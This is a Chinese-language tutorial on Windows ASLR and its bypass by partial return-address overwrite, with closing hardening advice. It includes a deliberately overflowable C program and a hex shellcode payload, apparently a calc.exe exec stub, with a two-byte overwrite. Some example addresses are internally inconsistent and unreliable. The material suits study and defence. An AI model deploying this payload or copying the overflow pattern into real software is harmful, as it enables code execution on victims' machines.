Windows下的ASLR保护机制详解及其绕过
字数 1541 2025-08-23 18:31:34
Windows下的ASLR保护机制详解及其绕过
一、ASLR保护机制详解
1. ASLR基本概念
ASLR(Address Space Layout Randomization)是一种内存保护机制,通过在加载程序时随机化关键内存区域的地址,使攻击者难以预测目标地址,从而提高攻击难度。
2. ASLR保护范围
ASLR对以下内存区域进行随机化:
-
映像基址随机化:
- 对PE文件(EXE和DLL)的加载基址进行随机化
- 由PE头中的
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标志控制 - 随机化在系统启动时确定,重启后地址会变化
-
堆栈随机化:
- 程序启动时确定堆栈地址
- 每次程序启动时堆栈地址都不相同
-
PEB与TEB随机化:
- 从Windows XP开始引入
- 随机化进程环境块(PEB)和线程环境块(TEB)的地址
3. ASLR实现机制
- 需要操作系统和应用程序双重支持
- 应用程序支持不是必须的(可通过注册表强制启用)
- 注册表控制项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImage- 0:禁用映像随机化
- -1:强制对所有映像进行随机化
- 其他值:正常启用ASLR
二、ASLR绕过技术分析
1. 映像基址随机化的局限性
- 仅随机化地址的前两个字节(如0x12345678中的1234部分)
- 后两个字节保持不变(5678部分固定)
- 导致攻击者可预测地址范围缩小到0x12340000-0x123400FF
2. 主要绕过方法
方法一:攻击未启用ASLR的模块
- 寻找应用程序中未启用ASLR的DLL(如Adobe Flash Player ActiveX)
- 利用这些固定地址的模块中的指令作为跳板
方法二:部分地址覆盖技术
-
原理:
- 利用ASLR只随机化前两个字节的特性
- 覆盖返回地址的后两个字节
- 跳转到可控范围内的地址执行
-
利用条件:
- 存在缓冲区溢出漏洞
- 能够精确控制覆盖的字节数
- 目标地址范围内存在可用指令(如call/jmp寄存器)
-
示例利用步骤:
- 构造Payload:ShellCode + 填充 + 2字节覆盖地址
- 寻找合适的跳板指令(如call eax/jmp eax)
- 计算并覆盖返回地址的后两个字节
三、实践案例
1. 漏洞程序示例
#include <stdio.h>
#include <Windows.h>
char ShellCode[202];
void test(char* szBuffer) {
char str[196]{ 0 };
memcpy(str, szBuffer, 202); // 缓冲区溢出漏洞
}
int main() {
memset(ShellCode, 0, 202);
HANDLE hFile = CreateFileA("111.txt", GENERIC_READ, NULL, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwReadSize = 0;
ReadFile(hFile, ShellCode, 202, &dwReadSize, NULL);
test(ShellCode);
return 0;
}
2. 利用过程
-
分析漏洞:
- test函数存在202字节拷贝到196字节缓冲区的溢出
- 可覆盖返回地址
-
内存布局:
- str起始地址:0x00FD23E0(示例,前两个字节随机)
- 返回地址:0x00FD23E4(需覆盖后两个字节)
-
寻找跳板:
- 搜索call eax/jmp eax指令
- 找到地址0x00FD23E5处的jmp eax指令
-
构造Payload:
- ShellCode(200字节)
- 覆盖返回地址后两字节为\xE5\x23
-
执行流程:
- 溢出覆盖返回地址后两字节
- 跳转到jmp eax指令
- eax指向ShellCode,执行恶意代码
3. 示例Payload结构
[ShellCode][填充][覆盖地址]
具体十六进制示例:
FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B
52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C
61 7C 02 2C 20 C1 CF 0D 01 C7 E2 F2 52 57 8B 52
10 8B 4A 3C 8B 4C 11 78 E3 48 01 D1 51 8B 59 20
01 D3 8B 49 18 E3 3A 49 8B 34 8B 01 D6 31 FF AC
C1 CF 0D 01 C7 38 E0 75 F6 03 7D F8 3B 7D 24 75
E4 58 8B 58 24 01 D3 66 8B 0C 4B 8B 58 1C 01 D3
8B 04 8B 01 D0 89 44 24 24 5B 5B 61 59 5A 51 FF
E0 5F 5F 5A 8B 12 EB 8D 5D 6A 01 8D 85 B2 00 00
00 50 68 31 8B 6F 87 FF D5 BB F0 B5 A2 56 68 A6
95 BD 9D FF D5 3C 06 7C 0A 80 FB E0 75 05 BB 47
13 72 6F 6A 00 53 FF D5 63 61 6C 63 2E 65 78 65
00 90 90 90 90 90 90 90 E5 23
四、防护建议
-
完整启用ASLR:
- 确保所有模块都编译支持ASLR
- 检查PE头中的
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标志
-
结合其他保护机制:
- 启用DEP(数据执行保护)
- 启用GS(栈保护)
- 启用SafeSEH
-
代码安全实践:
- 避免使用不安全的函数(如memcpy、strcpy等)
- 进行严格的输入验证
- 使用安全的字符串处理函数
-
系统配置:
- 确保注册表中
MoveImage项配置正确 - 定期更新操作系统和安全补丁
- 确保注册表中